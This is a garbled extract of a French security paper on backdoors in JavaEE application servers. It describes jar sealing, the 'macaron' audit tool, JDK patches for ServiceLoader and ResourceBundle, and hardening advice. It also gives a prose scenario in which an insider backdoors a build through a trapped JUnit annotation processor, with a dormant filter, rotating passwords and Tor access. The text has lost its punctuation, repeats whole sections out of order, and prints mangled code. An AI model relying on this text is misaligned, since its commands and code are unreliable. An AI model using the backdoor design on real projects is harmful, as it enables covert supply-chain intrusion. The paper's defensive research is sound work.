Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

